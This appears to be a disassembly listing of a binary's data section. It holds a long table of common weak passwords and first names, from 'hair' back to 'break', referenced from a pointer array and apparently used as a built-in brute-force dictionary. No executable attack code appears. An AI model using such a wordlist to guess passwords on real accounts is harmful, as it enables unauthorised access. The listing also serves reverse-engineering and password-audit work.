aHair		db 'hair',0             ; DATA XREF: seg000:0042CE64o
		align 4
aHagar		db 'hagar',0            ; DATA XREF: seg000:0042CE60o
		align 4
aHacked		db 'hacked',0           ; DATA XREF: seg000:0042CE5Co
		align 4
aHack		db 'hack',0             ; DATA XREF: seg000:0042CE58o
		align 4
aGuntis		db 'guntis',0           ; DATA XREF: seg000:0042CE54o
		align 4
aGumption	db 'gumption',0         ; DATA XREF: seg000:0042CE50o
		align 10h
aGuitar		db 'guitar',0           ; DATA XREF: seg000:0042CE4Co
		align 4
aGuess		db 'guess',0            ; DATA XREF: seg000:0042CE48o
		align 10h
aGucci		db 'gucci',0            ; DATA XREF: seg000:0042CE44o
		align 4
aGuardian	db 'guardian',0         ; DATA XREF: seg000:0042CE40o
		align 4
aGryphon	db 'gryphon',0          ; DATA XREF: seg000:0042CE3Co
aGroup		db 'group',0            ; DATA XREF: seg000:0042CE38o
		align 4
aGreen		db 'green',0            ; DATA XREF: seg000:0042CE34o
		align 4
aGreat		db 'great',0            ; DATA XREF: seg000:0042CE30o
		align 4
aGrant		db 'grant',0            ; DATA XREF: seg000:0042CE2Co
		align 4
aGrand		db 'grand',0            ; DATA XREF: seg000:0042CE28o
		align 4
aGrahm		db 'grahm',0            ; DATA XREF: seg000:0042CE24o
		align 4
aGraham		db 'graham',0           ; DATA XREF: seg000:0042CE20o
		align 4
aGrades		db 'grades',0           ; DATA XREF: seg000:0042CE1Co
		align 4
aGovermen	db 'govermen',0         ; DATA XREF: seg000:0042CE18o
		align 4
aGouge		db 'gouge',0            ; DATA XREF: seg000:0042CE14o
		align 10h
aGosling	db 'gosling',0          ; DATA XREF: seg000:0042CE10o
aGorges		db 'gorges',0           ; DATA XREF: seg000:0042CE0Co
		align 10h
aGorgeous	db 'gorgeous',0         ; DATA XREF: seg000:0042CE08o
		align 4
aGood		db 'good',0             ; DATA XREF: seg000:0042CE04o
		align 4
aGolfer		db 'golfer',0           ; DATA XREF: seg000:0042CE00o
		align 4
aGolf		db 'golf',0             ; DATA XREF: seg000:0042CDFCo
		align 4
aGolden		db 'golden',0           ; DATA XREF: seg000:0042CDF8o
		align 4
aGold		db 'gold',0             ; DATA XREF: seg000:0042CDF4o
		align 4
aGlacier	db 'glacier',0          ; DATA XREF: seg000:0042CDF0o
aGirl		db 'girl',0             ; DATA XREF: seg000:0042CDECo
		align 4
aGinger		db 'ginger',0           ; DATA XREF: seg000:0042CDE8o
		align 4
aGina		db 'gina',0             ; DATA XREF: seg000:0042CDE4o
		align 4
aGigabyte	db 'gigabyte',0         ; DATA XREF: seg000:0042CDE0o
		align 10h
aGibson		db 'gibson',0           ; DATA XREF: seg000:0042CDDCo
		align 4
aGhost		db 'ghost',0            ; DATA XREF: seg000:0042CDD8o
		align 10h
aGertrude	db 'gertrude',0         ; DATA XREF: seg000:0042CDD4o
		align 4
aGerm		db 'germ',0             ; DATA XREF: seg000:0042CDD0o
		align 4
aGeorge		db 'george',0           ; DATA XREF: seg000:0042CDCCo
		align 4
aGauss		db 'gauss',0            ; DATA XREF: seg000:0042CDC8o
		align 4
aGatt		db 'gatt',0             ; DATA XREF: seg000:0042CDC4o
		align 4
aGatherin	db 'gatherin',0         ; DATA XREF: seg000:0042CDC0o
		align 4
aGateway	db 'gateway',0          ; DATA XREF: seg000:0042CDBCo
aGarfield	db 'garfield',0         ; DATA XREF: seg000:0042CDB8o
		align 4
aGardner	db 'gardner',0          ; DATA XREF: seg000:0042CDB4o
aGames		db 'games',0            ; DATA XREF: seg000:0042CDB0o
		align 4
aGabriel	db 'gabriel',0          ; DATA XREF: seg000:0042CDACo
aFungible	db 'fungible',0         ; DATA XREF: seg000:0042CDA8o
		align 10h
aFunction	db 'function',0         ; DATA XREF: seg000:0042CDA4o
		align 4
aFudge		db 'fudge',0            ; DATA XREF: seg000:0042CDA0o
		align 4
aFuckyou	db 'fuckyou',0          ; DATA XREF: seg000:0042CD9Co
aFuckme		db 'fuckme',0           ; DATA XREF: seg000:0042CD98o
		align 4
aFucking	db 'fucking',0          ; DATA XREF: seg000:0042CD94o
aFucker		db 'fucker',0           ; DATA XREF: seg000:0042CD90o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: seg000:0042CD8Co
		align 4
aFryguy		db 'fryguy',0           ; DATA XREF: seg000:0042CD88o
		align 4
aFrog		db 'frog',0             ; DATA XREF: seg000:0042CD84o
		align 4
aFrighten	db 'frighten',0         ; DATA XREF: seg000:0042CD80o
		align 4
aFriends	db 'friends',0          ; DATA XREF: seg000:0042CD7Co
aFriend		db 'friend',0           ; DATA XREF: seg000:0042CD78o
		align 4
aFriday		db 'friday',0           ; DATA XREF: seg000:0042CD74o
		align 10h
aFrench		db 'french',0           ; DATA XREF: seg000:0042CD70o
		align 4
aFreedom	db 'freedom',0          ; DATA XREF: seg000:0042CD6Co
aFree		db 'free',0             ; DATA XREF: seg000:0042CD68o
		align 4
aFred		db 'fred',0             ; DATA XREF: seg000:0042CD64o
		align 10h
aFreak		db 'freak',0            ; DATA XREF: seg000:0042CD60o
		align 4
aFrank		db 'frank',0            ; DATA XREF: seg000:0042CD5Co
		align 10h
aFrance		db 'france',0           ; DATA XREF: seg000:0042CD58o
		align 4
aFoxtrot	db 'foxtrot',0          ; DATA XREF: seg000:0042CD54o
aFourier	db 'fourier',0          ; DATA XREF: seg000:0042CD50o
aForsythe	db 'forsythe',0         ; DATA XREF: seg000:0042CD4Co
		align 4
aFornicat	db 'fornicat',0         ; DATA XREF: seg000:0042CD48o
		align 10h
aFormat		db 'format',0           ; DATA XREF: seg000:0042CD44o
		align 4
aForm		db 'form',0             ; DATA XREF: seg000:0042CD40o
		align 10h
aForever	db 'forever',0          ; DATA XREF: seg000:0042CD3Co
aForesigh	db 'foresigh',0         ; DATA XREF: seg000:0042CD38o
		align 4
aFord		db 'ford',0             ; DATA XREF: seg000:0042CD34o
		align 4
aForce		db 'force',0            ; DATA XREF: seg000:0042CD30o
		align 4
aFootball	db 'football',0         ; DATA XREF: seg000:0042CD2Co
		align 10h
aFoolproo	db 'foolproo',0         ; DATA XREF: seg000:0042CD28o
		align 4
aFool		db 'fool',0             ; DATA XREF: seg000:0042CD24o
		align 4
aFood		db 'food',0             ; DATA XREF: seg000:0042CD20o
		align 4
aFlowers	db 'flowers',0          ; DATA XREF: seg000:0042CD1Co
aFlower		db 'flower',0           ; DATA XREF: seg000:0042CD18o
		align 4
aFlorida	db 'florida',0          ; DATA XREF: seg000:0042CD14o
aFloat		db 'float',0            ; DATA XREF: seg000:0042CD10o
		align 4
aFlakes		db 'flakes',0           ; DATA XREF: seg000:0042CD0Co
		align 4
aFishers	db 'fishers',0          ; DATA XREF: seg000:0042CD08o
aFirewall	db 'firewall',0         ; DATA XREF: seg000:0042CD04o
		align 4
aFire		db 'fire',0             ; DATA XREF: seg000:0042CD00o
		align 10h
aFinite		db 'finite',0           ; DATA XREF: seg000:0042CCFCo
		align 4
aFile		db 'file',0             ; DATA XREF: sub_40CE55+1D0Fo
					; sub_40CE55+1D85o ...
		align 10h
aFight		db 'fight',0            ; DATA XREF: seg000:0042CCF4o
		align 4
aField		db 'field',0            ; DATA XREF: seg000:0042CCF0o
		align 10h
aFidelity	db 'fidelity',0         ; DATA XREF: seg000:0042CCECo
		align 4
aFerrari	db 'ferrari',0          ; DATA XREF: seg000:0042CCE8o
aFermat		db 'fermat',0           ; DATA XREF: seg000:0042CCE4o
		align 4
aFender		db 'fender',0           ; DATA XREF: seg000:0042CCE0o
		align 4
aFelicia	db 'felicia',0          ; DATA XREF: seg000:0042CCDCo
aFeds		db 'feds',0             ; DATA XREF: seg000:0042CCD8o
		align 4
aFear		db 'fear',0             ; DATA XREF: seg000:0042CCD4o
		align 4
aFast		db 'fast',0             ; DATA XREF: seg000:0042CCD0o
		align 4
aFart		db 'fart',0             ; DATA XREF: seg000:0042CCCCo
		align 4
aFaraday	db 'faraday',0          ; DATA XREF: seg000:0042CCC8o
aFarad		db 'farad',0            ; DATA XREF: seg000:0042CCC4o
		align 4
aFamily		db 'family',0           ; DATA XREF: seg000:0042CCC0o
		align 4
aFalse		db 'false',0            ; DATA XREF: seg000:0042CCBCo
		align 4
aFalcon		db 'falcon',0           ; DATA XREF: seg000:0042CCB8o
		align 4
aFaith		db 'faith',0            ; DATA XREF: seg000:0042CCB4o
		align 4
aFairway	db 'fairway',0          ; DATA XREF: seg000:0042CCB0o
aExtensio	db 'extensio',0         ; DATA XREF: seg000:0042CCACo
		align 10h
aExplosiv	db 'explosiv',0         ; DATA XREF: seg000:0042CCA8o
		align 4
aExplorer	db 'explorer',0         ; DATA XREF: seg000:0042CCA4o
		align 4
aExplore	db 'explore',0          ; DATA XREF: seg000:0042CCA0o
aExplode	db 'explode',0          ; DATA XREF: seg000:0042CC9Co
aExpert		db 'expert',0           ; DATA XREF: seg000:0042CC98o
		align 10h
aEvelyn		db 'evelyn',0           ; DATA XREF: seg000:0042CC94o
		align 4
aEuclid		db 'euclid',0           ; DATA XREF: seg000:0042CC90o
		align 10h
aEternity	db 'eternity',0         ; DATA XREF: seg000:0042CC8Co
		align 4
aEstate		db 'estate',0           ; DATA XREF: seg000:0042CC88o
		align 4
aEstablis	db 'establis',0         ; DATA XREF: seg000:0042CC84o
		align 10h
aErsatz		db 'ersatz',0           ; DATA XREF: seg000:0042CC80o
		align 4
aErotic		db 'erotic',0           ; DATA XREF: seg000:0042CC7Co
		align 10h
aErin		db 'erin',0             ; DATA XREF: seg000:0042CC78o
		align 4
aErika		db 'erika',0            ; DATA XREF: seg000:0042CC74o
		align 10h
aErica		db 'erica',0            ; DATA XREF: seg000:0042CC70o
		align 4
aEric		db 'eric',0             ; DATA XREF: seg000:0042CC6Co
		align 10h
aErenity	db 'erenity',0          ; DATA XREF: seg000:0042CC68o
aEnzyme		db 'enzyme',0           ; DATA XREF: seg000:0042CC64o
		align 10h
aEnterpri	db 'enterpri',0         ; DATA XREF: seg000:0042CC60o
		align 4
aEnter		db 'enter',0            ; DATA XREF: seg000:0042CC5Co
		align 4
aEnglish	db 'english',0          ; DATA XREF: seg000:0042CC58o
aEngland	db 'england',0          ; DATA XREF: seg000:0042CC54o
aEngineer	db 'engineer',0         ; DATA XREF: seg000:0042CC50o
		align 10h
aEngine		db 'engine',0           ; DATA XREF: seg000:0042CC4Co
		align 4
aEnemy		db 'enemy',0            ; DATA XREF: seg000:0042CC48o
		align 10h
aEmmanuel	db 'emmanuel',0         ; DATA XREF: seg000:0042CC44o
		align 4
aEmily		db 'emily',0            ; DATA XREF: seg000:0042CC40o
		align 4
aEmerald	db 'emerald',0          ; DATA XREF: seg000:0042CC3Co
aEmail		db 'email',0            ; DATA XREF: seg000:0042CC38o
		align 4
aEllen		db 'ellen',0            ; DATA XREF: seg000:0042CC34o
		align 4
aElizabet	db 'elizabet',0         ; DATA XREF: seg000:0042CC30o
		align 4
aElephant	db 'elephant',0         ; DATA XREF: seg000:0042CC2Co
		align 4
aElectron	db 'electron',0         ; DATA XREF: seg000:0042CC28o
		align 10h
aElanor		db 'elanor',0           ; DATA XREF: seg000:0042CC24o
		align 4
aElaine		db 'elaine',0           ; DATA XREF: seg000:0042CC20o
		align 10h
aEinstein	db 'einstein',0         ; DATA XREF: seg000:0042CC1Co
		align 4
aEinsiein	db 'einsiein',0         ; DATA XREF: seg000:0042CC18o
		align 4
aEileen		db 'eileen',0           ; DATA XREF: seg000:0042CC14o
		align 10h
aEiderdow	db 'eiderdow',0         ; DATA XREF: seg000:0042CC10o
		align 4
aEgghead	db 'egghead',0          ; DATA XREF: seg000:0042CC0Co
aEdwina		db 'edwina',0           ; DATA XREF: seg000:0042CC08o
		align 4
aEdwin		db 'edwin',0            ; DATA XREF: seg000:0042CC04o
		align 4
aEducatio	db 'educatio',0         ; DATA XREF: seg000:0042CC00o
		align 10h
aEducation	db 'education',0        ; DATA XREF: seg000:0042CBFCo
		align 4
aEdition	db 'edition',0          ; DATA XREF: seg000:0042CBF8o
aEdit		db 'edit',0             ; DATA XREF: seg000:0042CBF4o
		align 4
aEdinburg	db 'edinburg',0         ; DATA XREF: seg000:0042CBF0o
		align 4
aEdges		db 'edges',0            ; DATA XREF: seg000:0042CBECo
		align 10h
aEddie		db 'eddie',0            ; DATA XREF: seg000:0042CBE8o
		align 4
aEcho		db 'echo',0             ; DATA XREF: seg000:0042CBE4o
		align 10h
aEatme		db 'eatme',0            ; DATA XREF: seg000:0042CBE0o
		align 4
aEasy		db 'easy',0             ; DATA XREF: seg000:0042CBDCo
		align 10h
aEasier		db 'easier',0           ; DATA XREF: seg000:0042CBD8o
		align 4
aEarth		db 'earth',0            ; DATA XREF: seg000:0042CBD4o
		align 10h
aEagle		db 'eagle',0            ; DATA XREF: seg000:0042CBD0o
		align 4
aEager		db 'eager',0            ; DATA XREF: seg000:0042CBCCo
		align 10h
aDyke		db 'dyke',0             ; DATA XREF: seg000:0042CBC8o
		align 4
aDungeon	db 'dungeon',0          ; DATA XREF: seg000:0042CBC4o
aDuncan		db 'duncan',0           ; DATA XREF: seg000:0042CBC0o
		align 4
aDulce		db 'dulce',0            ; DATA XREF: seg000:0042CBBCo
		align 10h
aDuke		db 'duke',0             ; DATA XREF: seg000:0042CBB8o
		align 4
aDuelist	db 'duelist',0          ; DATA XREF: seg000:0042CBB4o
aDude		db 'dude',0             ; DATA XREF: seg000:0042CBB0o
		align 4
aDuck		db 'duck',0             ; DATA XREF: seg000:0042CBACo
		align 10h
aDrought	db 'drought',0          ; DATA XREF: seg000:0042CBA8o
aDrive		db 'drive',0            ; DATA XREF: seg000:0042CBA4o
		align 10h
aDrdoom		db 'drdoom',0           ; DATA XREF: seg000:0042CBA0o
		align 4
aDragon		db 'dragon',0           ; DATA XREF: seg000:0042CB9Co
		align 10h
aDownload	db 'download',0         ; DATA XREF: seg000:0042CB98o
		align 4
aDope		db 'dope',0             ; DATA XREF: seg000:0042CB94o
		align 4
aDoors		db 'doors',0            ; DATA XREF: seg000:0042CB90o
		align 4
aDoor		db 'door',0             ; DATA XREF: seg000:0042CB8Co
		align 4
aDoonesbu	db 'doonesbu',0         ; DATA XREF: seg000:0042CB88o
		align 10h
aDoomsday	db 'doomsday',0         ; DATA XREF: seg000:0042CB84o
		align 4
aDoomii		db 'doomii',0           ; DATA XREF: seg000:0042CB80o
		align 4
aDoom2		db 'doom2',0            ; DATA XREF: seg000:0042CB7Co
		align 4
aDoom		db 'doom',0             ; DATA XREF: seg000:0042CB78o
		align 4
aDong		db 'dong',0             ; DATA XREF: seg000:0042CB74o
		align 4
aDollar		db 'dollar',0           ; DATA XREF: seg000:0042CB70o
		align 4
aDoctor		db 'doctor',0           ; DATA XREF: seg000:0042CB6Co
		align 4
aDisplay	db 'display',0          ; DATA XREF: seg000:0042CB68o
aDisney		db 'disney',0           ; DATA XREF: seg000:0042CB64o
		align 4
aDiskette	db 'diskette',0         ; DATA XREF: seg000:0042CB60o
		align 4
aDisk_0		db 'disk',0             ; DATA XREF: seg000:0042CB5Co
		align 10h
aDiscover	db 'discover',0         ; DATA XREF: seg000:0042CB58o
		align 4
aDisclose	db 'disclose',0         ; DATA XREF: seg000:0042CB54o
		align 4
aDiscipli	db 'discipli',0         ; DATA XREF: seg000:0042CB50o
		align 4
aDisc		db 'disc',0             ; DATA XREF: seg000:0042CB4Co
		align 4
aDirty		db 'dirty',0            ; DATA XREF: seg000:0042CB48o
		align 4
aDirector	db 'director',0         ; DATA XREF: seg000:0042CB44o
		align 10h
aDirect		db 'direct',0           ; DATA XREF: seg000:0042CB40o
		align 4
aDipshit	db 'dipshit',0          ; DATA XREF: seg000:0042CB3Co
aDinosaur	db 'dinosaur',0         ; DATA XREF: seg000:0042CB38o
		align 4
aDigital	db 'digital',0          ; DATA XREF: seg000:0042CB34o
aDieter		db 'dieter',0           ; DATA XREF: seg000:0042CB30o
		align 4
aDiet		db 'diet',0             ; DATA XREF: seg000:0042CB2Co
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: seg000:0042CB28o
aDick		db 'dick',0             ; DATA XREF: seg000:0042CB24o
		align 4
aDice		db 'dice',0             ; DATA XREF: seg000:0042CB20o
		align 4
aDiane		db 'diane',0            ; DATA XREF: seg000:0042CB1Co
		align 4
aDiana		db 'diana',0            ; DATA XREF: seg000:0042CB18o
		align 4
aDiamond	db 'diamond',0          ; DATA XREF: seg000:0042CB14o
aDial		db 'dial',0             ; DATA XREF: seg000:0042CB10o
		align 4
aDevice		db 'device',0           ; DATA XREF: seg000:0042CB0Co
		align 4
aDevelop	db 'develop',0          ; DATA XREF: seg000:0042CB08o
aDesperat	db 'desperat',0         ; DATA XREF: seg000:0042CB04o
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: seg000:0042CB00o
aDesk		db 'desk',0             ; DATA XREF: seg000:0042CAFCo
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: seg000:0042CAF8o
aDennis		db 'dennis',0           ; DATA XREF: seg000:0042CAF4o
		align 4
aDenise		db 'denise',0           ; DATA XREF: seg000:0042CAF0o
		align 10h
aDemocrat	db 'democrat',0         ; DATA XREF: seg000:0042CAECo
		align 4
aDeluge		db 'deluge',0           ; DATA XREF: seg000:0042CAE8o
		align 4
aDelta		db 'delta',0            ; DATA XREF: seg000:0042CAE4o
		align 4
aDefoe		db 'defoe',0            ; DATA XREF: seg000:0042CAE0o
		align 4
aDefault_0	db 'DEFAULT',0          ; DATA XREF: seg000:0042CADCo
aDeck		db 'deck',0             ; DATA XREF: seg000:0042CAD4o
		align 4
aDecember	db 'december',0         ; DATA XREF: seg000:0042CAD0o
		align 10h
aDebug		db 'debug',0            ; DATA XREF: seg000:0042CACCo
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: seg000:0042CAC8o
aDebbie		db 'debbie',0           ; DATA XREF: seg000:0042CAC4o
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: seg000:0042CAC0o
		align 4
aDead		db 'dead',0             ; DATA XREF: seg000:0042CABCo
		align 4
aDawn		db 'dawn',0             ; DATA XREF: seg000:0042CAB8o
		align 4
aDave		db 'dave',0             ; DATA XREF: seg000:0042CAB4o
		align 4
aData		db 'data',0             ; DATA XREF: seg000:0042CAB0o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: seg000:0042CAACo
		align 10h
aDark		db 'dark',0             ; DATA XREF: seg000:0042CAA8o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: seg000:0042CAA4o
		align 10h
aDanny		db 'danny',0            ; DATA XREF: seg000:0042CAA0o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: seg000:0042CA9Co
		align 4
aDaniel		db 'daniel',0           ; DATA XREF: seg000:0042CA98o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: seg000:0042CA94o
		align 4
aDana		db 'dana',0             ; DATA XREF: seg000:0042CA90o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: seg000:0042CA8Co
		align 4
aDaemon		db 'daemon',0           ; DATA XREF: seg000:0042CA88o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: seg000:0042CA84o
aCyberspa	db 'cyberspa',0         ; DATA XREF: seg000:0042CA80o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: seg000:0042CA7Co
		align 4
aCyber		db 'cyber',0            ; DATA XREF: seg000:0042CA78o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: seg000:0042CA74o
		align 10h
aCunt		db 'cunt',0             ; DATA XREF: seg000:0042CA70o
		align 4
aCshrc		db 'cshrc',0            ; DATA XREF: seg000:0042CA6Co
		align 10h
aCrystal	db 'crystal',0          ; DATA XREF: seg000:0042CA68o
aCristina	db 'cristina',0         ; DATA XREF: seg000:0042CA64o
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: seg000:0042CA60o
		align 10h
aCrime		db 'crime',0            ; DATA XREF: seg000:0042CA5Co
		align 4
aCretin		db 'cretin',0           ; DATA XREF: seg000:0042CA58o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: seg000:0042CA54o
		align 4
aCredit		db 'credit',0           ; DATA XREF: seg000:0042CA50o
		align 4
aCreature	db 'creature',0         ; DATA XREF: seg000:0042CA4Co
		align 10h
aCreation	db 'creation',0         ; DATA XREF: seg000:0042CA48o
		align 4
aCreate		db 'create',0           ; DATA XREF: seg000:0042CA44o
		align 4
aCream		db 'cream',0            ; DATA XREF: seg000:0042CA40o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: seg000:0042CA3Co
		align 4
aCrack		db 'crack',0            ; DATA XREF: seg000:0042CA38o
		align 10h
aCowboy		db 'cowboy',0           ; DATA XREF: seg000:0042CA34o
		align 4
aCouscous	db 'couscous',0         ; DATA XREF: seg000:0042CA30o
		align 4
aCountry	db 'country',0          ; DATA XREF: seg000:0042CA2Co
aCounters	db 'counters',0         ; DATA XREF: seg000:0042CA28o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: seg000:0042CA24o
aCorneliu	db 'corneliu',0         ; DATA XREF: seg000:0042CA20o
		align 4
aCopy		db 'copy',0             ; DATA XREF: seg000:0042CA1Co
		align 4
aCops		db 'cops',0             ; DATA XREF: seg000:0042CA18o
		align 4
aCopper		db 'copper',0           ; DATA XREF: seg000:0042CA14o
		align 4
aCooper		db 'cooper',0           ; DATA XREF: seg000:0042CA10o
		align 4
aCool		db 'cool',0             ; DATA XREF: seg000:0042CA0Co
		align 4
aCookie		db 'cookie',0           ; DATA XREF: seg000:0042CA08o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: seg000:0042CA04o
		align 4
aCook		db 'cook',0             ; DATA XREF: seg000:0042CA00o
		align 10h
aContinue	db 'continue',0         ; DATA XREF: sub_40CE55+1F88o
					; seg000:0042C9FCo
		align 4
aConsole	db 'console',0          ; DATA XREF: seg000:0042C9F8o
aConserva	db 'conserva',0         ; DATA XREF: seg000:0042C9F4o
		align 10h
aConnie		db 'connie',0           ; DATA XREF: seg000:0042C9F0o
		align 4
aCondom		db 'condom',0           ; DATA XREF: seg000:0042C9E8o
		align 10h
aCondo		db 'condo',0            ; DATA XREF: seg000:0042C9E4o
		align 4
aComrades	db 'comrades',0         ; DATA XREF: seg000:0042C9E0o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: seg000:0042C9DCo
aComputin	db 'computin',0         ; DATA XREF: seg000:0042C9D8o
		align 4
aCompany	db 'company',0          ; DATA XREF: seg000:0042C9D4o
aCommrade	db 'commrade',0         ; DATA XREF: seg000:0042C9D0o
		align 4
aCommit		db 'commit',0           ; DATA XREF: seg000:0042C9CCo
		align 4
aComics		db 'comics',0           ; DATA XREF: seg000:0042C9C8o
		align 4
aCombat		db 'combat',0           ; DATA XREF: seg000:0042C9C4o
		align 4
aColor		db 'color',0            ; DATA XREF: seg000:0042C9C0o
		align 4
aCollins	db 'collins',0          ; DATA XREF: seg000:0042C9BCo
aCold		db 'cold',0             ; DATA XREF: seg000:0042C9B8o
		align 4
aCola		db 'cola',0             ; DATA XREF: seg000:0042C9B4o
		align 4
aCoke		db 'coke',0             ; DATA XREF: seg000:0042C9B0o
		align 4
aCoin		db 'coin',0             ; DATA XREF: seg000:0042C9ACo
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: seg000:0042C9A8o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: seg000:0042C9A4o
		align 4
aCodename	db 'codename',0         ; DATA XREF: seg000:0042C9A0o
		align 4
aCode		db 'code',0             ; DATA XREF: seg000:0042C99Co
		align 4
aCock		db 'cock',0             ; DATA XREF: seg000:0042C998o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: seg000:0042C994o
		align 10h
aCocacola	db 'cocacola',0         ; DATA XREF: seg000:0042C990o
		align 4
aCoast		db 'coast',0            ; DATA XREF: seg000:0042C98Co
		align 4
aClusters	db 'clusters',0         ; DATA XREF: seg000:0042C988o
		align 10h
aCluster	db 'cluster',0          ; DATA XREF: seg000:0042C984o
aClinton	db 'clinton',0          ; DATA XREF: seg000:0042C980o
aCleavage	db 'cleavage',0         ; DATA XREF: seg000:0042C97Co
		align 4
aClaymore	db 'claymore',0         ; DATA XREF: seg000:0042C978o
		align 4
aClaudia	db 'claudia',0          ; DATA XREF: seg000:0042C974o
aClassic	db 'classic',0          ; DATA XREF: seg000:0042C970o
aClasses	db 'classes',0          ; DATA XREF: seg000:0042C96Co
aClass		db 'class',0            ; DATA XREF: seg000:0042C968o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: seg000:0042C964o
		align 10h
aCigarett	db 'cigarett',0         ; DATA XREF: seg000:0042C960o
		align 4
aCigar		db 'cigar',0            ; DATA XREF: seg000:0042C95Co
		align 4
aChristy	db 'christy',0          ; DATA XREF: seg000:0042C958o
aChristin	db 'christin',0         ; DATA XREF: seg000:0042C954o
		align 4
aChris		db 'chris',0            ; DATA XREF: seg000:0042C950o
		align 10h
aChip		db 'chip',0             ; DATA XREF: seg000:0042C94Co
		align 4
aChester	db 'chester',0          ; DATA XREF: seg000:0042C948o
aChess		db 'chess',0            ; DATA XREF: seg000:0042C944o
		align 4
aChemistr	db 'chemistr',0         ; DATA XREF: seg000:0042C940o
		align 4
aChem		db 'chem',0             ; DATA XREF: seg000:0042C93Co
		align 4
aChat_0		db 'chat',0             ; DATA XREF: seg000:0042C938o
		align 4
aCharon		db 'charon',0           ; DATA XREF: seg000:0042C934o
		align 4
aCharming	db 'charming',0         ; DATA XREF: seg000:0042C930o
		align 4
aCharlie	db 'charlie',0          ; DATA XREF: seg000:0042C92Co
aCharles	db 'charles',0          ; DATA XREF: seg000:0042C928o
aCharity	db 'charity',0          ; DATA XREF: seg000:0042C924o
aChange		db 'change',0           ; DATA XREF: seg000:0042C920o
		align 4
aCerulean	db 'cerulean',0         ; DATA XREF: seg000:0042C91Co
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: seg000:0042C918o
aCeltic		db 'celtic',0           ; DATA XREF: seg000:0042C914o
		align 4
aCelt		db 'celt',0             ; DATA XREF: seg000:0042C910o
		align 4
aCecily		db 'cecily',0           ; DATA XREF: seg000:0042C90Co
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: seg000:0042C908o
		align 4
aCave		db 'cave',0             ; DATA XREF: seg000:0042C904o
		align 4
aCathy		db 'cathy',0            ; DATA XREF: seg000:0042C900o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: seg000:0042C8FCo
		align 4
aCatherin	db 'catherin',0         ; DATA XREF: seg000:0042C8F8o
		align 4
aCastle		db 'castle',0           ; DATA XREF: seg000:0042C8F4o
		align 4
aCash		db 'cash',0             ; DATA XREF: seg000:0042C8F0o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: seg000:0042C8ECo
		align 10h
aCarson		db 'carson',0           ; DATA XREF: seg000:0042C8E8o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: seg000:0042C8E4o
		align 10h
aCaroline	db 'caroline',0         ; DATA XREF: seg000:0042C8E0o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: seg000:0042C8DCo
		align 4
aCarole		db 'carole',0           ; DATA XREF: seg000:0042C8D8o
		align 10h
aCarol		db 'carol',0            ; DATA XREF: seg000:0042C8D4o
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: seg000:0042C8D0o
		align 10h
aCarla		db 'carla',0            ; DATA XREF: seg000:0042C8CCo
		align 4
aCaren		db 'caren',0            ; DATA XREF: seg000:0042C8C8o
		align 10h
aCardinal	db 'cardinal',0         ; DATA XREF: seg000:0042C8C4o
		align 4
aCard		db 'card',0             ; DATA XREF: seg000:0042C8C0o
		align 4
aCapture	db 'capture',0          ; DATA XREF: seg000:0042C8BCo
aCaptain	db 'captain',0          ; DATA XREF: seg000:0042C8B8o
aCantor		db 'cantor',0           ; DATA XREF: seg000:0042C8B4o
		align 4
aCandy		db 'candy',0            ; DATA XREF: seg000:0042C8B0o
		align 4
aCandi		db 'candi',0            ; DATA XREF: seg000:0042C8ACo
		align 4
aCamping	db 'camping',0          ; DATA XREF: seg000:0042C8A8o
aCampanil	db 'campanil',0         ; DATA XREF: seg000:0042C8A4o
		align 10h
aCamille	db 'camille',0          ; DATA XREF: seg000:0042C8A0o
aCaliforn	db 'californ',0         ; DATA XREF: seg000:0042C89Co
		align 4
aButthead	db 'butthead',0         ; DATA XREF: seg000:0042C898o
		align 10h
aButt		db 'butt',0             ; DATA XREF: seg000:0042C894o
		align 4
aButch		db 'butch',0            ; DATA XREF: seg000:0042C890o
		align 10h
aBurn		db 'burn',0             ; DATA XREF: seg000:0042C88Co
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: seg000:0042C888o
aBung		db 'bung',0             ; DATA XREF: seg000:0042C884o
		align 4
aBumbling	db 'bumbling',0         ; DATA XREF: seg000:0042C880o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: seg000:0042C87Co
		align 10h
aBulls		db 'bulls',0            ; DATA XREF: seg000:0042C878o
		align 4
aBrutefor	db 'brutefor',0         ; DATA XREF: seg000:0042C874o
		align 4
aBrute		db 'brute',0            ; DATA XREF: seg000:0042C870o
		align 4
aBrunette	db 'brunette',0         ; DATA XREF: seg000:0042C86Co
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: seg000:0042C868o
aBroadway	db 'broadway',0         ; DATA XREF: seg000:0042C864o
		align 4
aBridget	db 'bridget',0          ; DATA XREF: seg000:0042C860o
aBrian		db 'brian',0            ; DATA XREF: seg000:0042C85Co
		align 4
aBrenda		db 'brenda',0           ; DATA XREF: seg000:0042C858o
		align 4
aBreast		db 'breast',0           ; DATA XREF: seg000:0042C854o
		align 4
aBreak		db 'break',0            ; DATA XREF: seg000:0042C850o
		align 4
